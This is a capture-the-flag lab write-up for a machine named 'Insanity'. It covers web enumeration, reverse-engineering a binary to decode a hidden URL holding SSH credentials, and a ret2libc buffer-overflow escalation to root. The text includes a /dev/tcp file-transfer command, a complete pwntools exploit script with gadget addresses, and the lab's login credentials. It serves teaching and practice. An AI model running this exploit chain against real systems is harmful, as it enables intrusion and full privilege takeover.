Insanity
export TARGET_IP=172.17.0.2
sudo nmap -p0- $TARGET_IP
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Trying to access http://172.17.0.2
we realize:
172.17.0.2 insanity.dl
There is a comment at the bottom of the HTML source code:
<!-- Subdominio?? -->
<!-- Tal vez fuzzing??? -->
<!-- O capaz ninguno... -->
feroxbuster -u 'http://insanity.dl/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_directories.txt -t 200
301 GET 9l 28w 310c http://insanity.dl/tinyp => http://insanity.dl/tinyp/
200 GET 6l 85w 16521c http://insanity.dl/tinyp/libcredenciales.so
200 GET 17l 158w 18941c http://insanity.dl/tinyp/secret
In http://insanity.dl/tinyp/
we found 2 files
wget http://insanity.dl/tinyp/libcredenciales.so
wget http://insanity.dl/tinyp/secret
Reverse Engineering using Ghidra
After analyzing main
function from secret
and g
, a
, b
functions from libcredenciales.so
we could conclude that:
secret
is designed to first verify a password. If correct, it dynamically loads a library (libcredenciales.so
). Inside this library, a function decodes a hidden URL and uses wget
to download a file from that URL.
Here is a representation in Python code of what is going on:
def a(param_1):
"""
Transforms an integer based on specific rules.
Args:
param_1: The integer to transform.
Returns:
The transformed integer.
"""
if 1 <= param_1 <= 0x1a:
return param_1 + 0x60 # Map to lowercase ASCII letters
elif param_1 == 0x1b:
return 0x3a # ':'
elif param_1 == 0x1c:
return 0x2f # '/'
elif param_1 == 0x1d:
return 0x2e # '.'
elif param_1 == 0x1e:
return 0x5f # '_'
else:
return 0x3f # '?'
def b(data, length):
"""
Transforms a list of integers using function 'a' and returns a string.
Args:
data: A list of integers.
length: The number of integers to process.
Returns:
A string formed by the transformed characters.
"""
result = ""
for i in range(length):
result += chr(a(data[i]))
return result
def decode_url():
"""
Decodes the hidden URL from the 'undefined4' variables.
Returns:
The decoded URL.
"""
# The 'undefined4' variables from the 'g' function
data = [
8, 0x14, 0x14, 0x10, 0x1b, 0x1c, 0x1c, 9, 0xe, 0x13, 1, 0xe, 9, 0x14, 0x19,
0x1d, 4, 0xc, 0x1c, 0x15, 0xc, 0x14, 0x12, 1, 0x1e, 0x13, 5, 3, 0x12, 5,
0x14, 0x1e, 6, 0xf, 0xc, 4, 5, 0x12, 0xb, 0xd, 1
]
# Decode the URL
decoded_string = b(data, len(data))
# Construct the full URL
filename = "2334645634646.txt"
full_url = f"{decoded_string}/{filename}"
return full_url
def main():
"""
Main function to demonstrate the URL decoding.
"""
url = decode_url()
print(f"The decoded URL is: {url}")
if __name__ == "__main__":
main()
python3 decode_url.py
The decoded URL is: http://insanity.dl/ultra_secret_folderkma/2334645634646.txt
wget http://insanity.dl/ultra_secret_folderkma/2334645634646.txt
cat 2334645634646.txt
Credenciales de ssh
maci:CrACkEd
ssh maci@$TARGET_IP
find / -type f -perm -4000 2>/dev/null
/opt/vuln
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/sudo
Reverse Engineering PART 2
First send the binary to the attacker machine:
nc -lnvp 4444 > vuln
cat /opt/vuln > /dev/tcp/172.17.0.1/4444
After analyzing the functions using Ghidra
we conclude:
The Vulnerability: gets()
gets(local_88);
: This line in thevuln
function is the source of the vulnerability. Thegets()
function is infamous for being inherently unsafe and a major cause of buffer overflows.- How
gets()
Works:gets()
reads input from standard input (stdin
) and stores it into the character array pointed to by its argument (local_88
in this case). It reads until it encounters a newline character (\n
) or the end-of-file (EOF). - The Problem:
gets()
does not check the size of the buffer it's writing to. It blindly copies input into the buffer, regardless of whether the input is longer than the buffer's allocated space.
The Buffer: local_88
char local_88[128];
: This line invuln
declares a character array namedlocal_88
on the stack. This array can hold 128 bytes.
The Overflow:
- If a user provides input to
gets()
that is longer than 127 characters (remember, you need one space for the null terminator\0
at the end of a C string),gets()
will write past the end of thelocal_88
buffer. - This overwrites data on the stack beyond the allocated space for
local_88
.
Consequences of the Overflow:
When the buffer overflows, the following can happen:
-
Overwriting Return Address: The most critical consequence is that the attacker can overwrite the return address stored on the stack.
- When
vuln
finishes, the program uses the return address to know where to continue execution (back in themain
function). - If the attacker overwrites the return address with a carefully crafted value, they can redirect the program's execution flow to a different location.
- When
-
Code Injection: By overwriting the return address, the attacker can potentially redirect execution to:
- Shellcode: A small piece of malicious code injected into the program's memory (often within the overflowing buffer itself or elsewhere on the stack). This shellcode could be designed to execute a shell (e.g.,
/bin/sh
), giving the attacker a command prompt on the vulnerable system. - Existing Code (Return-to-libc): The attacker could redirect execution to existing functions within the program's loaded libraries (like
libc
). For instance, they might jump to thesystem()
function with a pointer to a string like "/bin/sh" in memory, achieving the same effect as executing shellcode.
- Shellcode: A small piece of malicious code injected into the program's memory (often within the overflowing buffer itself or elsewhere on the stack). This shellcode could be designed to execute a shell (e.g.,
-
Data Corruption: Even without code injection, overwriting data on the stack can corrupt other variables or program state, leading to crashes or unpredictable behavior.
setuid(0)
and setgid(0)
: Increased Risk
setuid(0);
andsetgid(0);
in themain
function make this vulnerability even more dangerous. These calls set the effective user ID (UID) and effective group ID (GID) to 0, which corresponds to theroot
user (the superuser with the highest privileges).- Root Privileges: If an attacker successfully exploits the buffer overflow in
vuln
, and the program is running with root privileges because ofsetuid(0)
andsetgid(0)
, the injected code (or thesystem()
call in a return-to-libc attack) will also execute with root privileges. This gives the attacker complete control over the system.
Mitigation
- Never use
gets()
! It should be completely avoided. - Use
fgets()
instead:fgets()
is a much safer alternative because it takes an additional argument specifying the maximum number of characters to read, preventing buffer overflows: - Stack Canaries: Compilers can add stack canaries, which are special values placed on the stack before the return address. Before a function returns, the canary is checked. If it has been modified (due to a buffer overflow), the program terminates, preventing the execution of injected code.
- Address Space Layout Randomization (ASLR): This is an operating system-level security feature that randomizes the memory locations of important data structures, including the stack. This makes it harder for attackers to predict the addresses they need to overwrite to inject code successfully.
- Non-Executable Stack (NX/DEP): Another OS-level feature that marks the stack as non-executable, preventing the execution of code directly from the stack.
- Input Validation: Always validate user input to ensure it's within expected lengths and formats.
python -c "from pwn import *; print(ELF('./vuln').checksec())"
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
RELRO (Partial RELRO):
- RELRO stands for RELocation Read-Only
- Partial RELRO means some sections of the GOT (Global Offset Table) are read-only but not all
- This still leaves the GOT open to potential overwrites in certain sections
- Full RELRO would make the entire GOT read-only after relocation
Stack (No canary found):
- Stack canaries are random values placed between buffer variables and control data
- The absence of a stack canary means buffer overflows are easier to exploit
- There's no "canary" value to detect stack corruption before a return is executed
NX enabled:
- NX means "No eXecute"
- This is a positive security feature - the stack is not executable
- You can't directly execute shellcode placed on the stack
- This means exploitation typically requires techniques like ret2libc or ROP chains
PIE (No PIE, 0x400000):
- PIE stands for Position Independent Executable
- No PIE means the binary loads at a fixed address (0x400000)
- This makes it easier to exploit as the addresses are predictable
Stripped (No):
- The binary is not stripped of symbols
- This means debug symbols and function names are still present
- Makes reverse engineering and exploitation easier
Check ASRL (deactivate if necessary with sudo sysctl -w kernel.randomize_va_space=0
):
cat /proc/sys/kernel/randomize_va_space
# 0
ret2libc Exploitation Technique
The ret2libc (Return to libc) technique is a common method used in binary exploitation to bypass security mechanisms like NX (No-Execute) or DEP (Data Execution Prevention). Instead of injecting and executing shellcode directly, this technique leverages existing functions in the C standard library (libc) to execute malicious actions, such as spawning a shell.
Load the Vulnerable Binary in pwndbg
:
chmod +x vuln
pwndbg vuln
Objective:
- Exploit a buffer overflow vulnerability to execute a shell using functions from the libc library, such as
system()
.
Finding the Offset
To exploit the buffer overflow, we need to determine the offset (the number of bytes required to overwrite the return address).
Steps:
- Generate a Cyclic Pattern:
Use a tool like pattern_create
from Metasploit to create a unique pattern of 400 bytes:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
Output:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
- Run the Binary in
pwndbg
with the Pattern:
r
Input the generated pattern when prompted.
- Analyze the Crash:
When the program crashes, pwndbg
will display the segmentation fault and the return address that was overwritten. For example:
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401189 in vuln ()
- The return address (
RIP
) is overwritten with part of the pattern. ret
is in<0x3765413665413565>
, we will get theoffset
using that direction.
- Calculate the Offset:
Use pattern_offset
to find the exact offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x3765413665413565
Output:
[*] Exact match at offset 136
- The offset is 136 bytes.
Buffer Overflow test:
python -c 'print("A"*136 + "BBBBBB")'
Escribe tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
RIP 0x424242424242
When you input a long string of (136) "A"s followed by (6) "B"s, the program crashes with a segmentation fault because the "B"s (0x42424242) overwrote the return address.
This indicates the program is vulnerable to buffer overflow, and you have control of the instruction pointer (RIP). Since you managed to control RIP, this could be exploited using techniques like ret2libc or ROP chains.
Finding Key Addresses in libc
We already have the offset, FROM NOW ON IT CONTINUES FROM THE VICTIM MACHINE
To perform the ret2libc attack, we need the addresses of:
- The string
/bin/sh
. - The
system()
function. - A
ret
gadget for stack alignment. - A
pop rdi; ret
gadget to set up the first argument forsystem()
.
Steps:
- Find
/bin/sh
:
Use GDB to search for the /bin/sh
string in memory:
gdb /opt/vuln
(gdb) r
# Provoke Segmentation fault
(gdb) find &__libc_start_main,+9999999,"/bin/sh"
Output:
0x7ffff7f73031
- The address of
/bin/sh
is0x7ffff7f73031
.
- Find
system()
:
Use GDB to print the address of the system()
function:
(gdb) p system
Output:
$1 = {int (const char *)} 0x7ffff7e29490 <__libc_system>
- The address of
system()
is0x7ffff7e29490
.
- Find
ret
Gadget:
Use ROPgadget
to find a ret
instruction:
(gdb) quit
ROPgadget --binary ./vuln | grep "ret"
Output:
0x0000000000401016 : ret
- The address of the
ret
gadget is0x401016
.
- Find
pop rdi; ret
Gadget:
Use ROPgadget
to find a pop rdi; ret
gadget:
ROPgadget --binary ./vuln | grep "pop rdi"
Output:
0x000000000040116a : pop rdi ; ret
- The address of the
pop rdi; ret
gadget is0x40116a
.
Building the Exploit
Using the gathered information, we can construct a Python script to exploit the vulnerability. You can write it using nano
inside a directory you have access to write in like /tmp
or your /home
(find / -type d -writable 2>/dev/null
).
from pwn import *
# Load the binary
binary = ELF('/opt/vuln')
p = process('/opt/vuln')
# Addresses
pop_rdi_ret = 0x40116a # pop rdi; ret gadget
bin_sh = 0x7ffff7f73031 # Address of "/bin/sh"
ret = 0x401016 # ret gadget for alignment
system = 0x7ffff7e29490 # Address of system()
# Payload construction
offset = 136 # Offset to overwrite RIP
payload = b"A" * offset # Padding
payload += p64(pop_rdi_ret) # Load "/bin/sh" into RDI
payload += p64(bin_sh) # Argument for system()
payload += p64(ret) # Align the stack
payload += p64(system) # Call system()
# Send the payload
p.sendline(payload)
p.interactive()
Explanation of the Payload:
- Padding (
A * offset
): Fills the buffer until the return address is overwritten. pop rdi; ret
Gadget: Loads the address of/bin/sh
into therdi
register (first argument forsystem()
).- Address of
/bin/sh
: The argument passed tosystem()
. ret
Gadget: Ensures proper stack alignment before callingsystem()
.- Address of
system()
: Calls thesystem()
function to execute/bin/sh
.
Executing the Exploit
Run the Python script:
python3 exploit.py
Expected Output:
[*] '/opt/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/opt/vuln': pid 891
[*] Switching to interactive mode
Escribe tu nombre: $ id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(maci)
$ whoami
root
- The exploit successfully spawns a shell with root privileges.
Summary of the ret2libc Technique
- Buffer Overflow: Overwrite the return address to redirect execution.
- Gadgets: Use ROP gadgets like
pop rdi; ret
to set up function arguments. - libc Functions: Leverage existing functions like
system()
to execute commands. - No Shellcode: Avoids injecting shellcode, bypassing NX/DEP protections.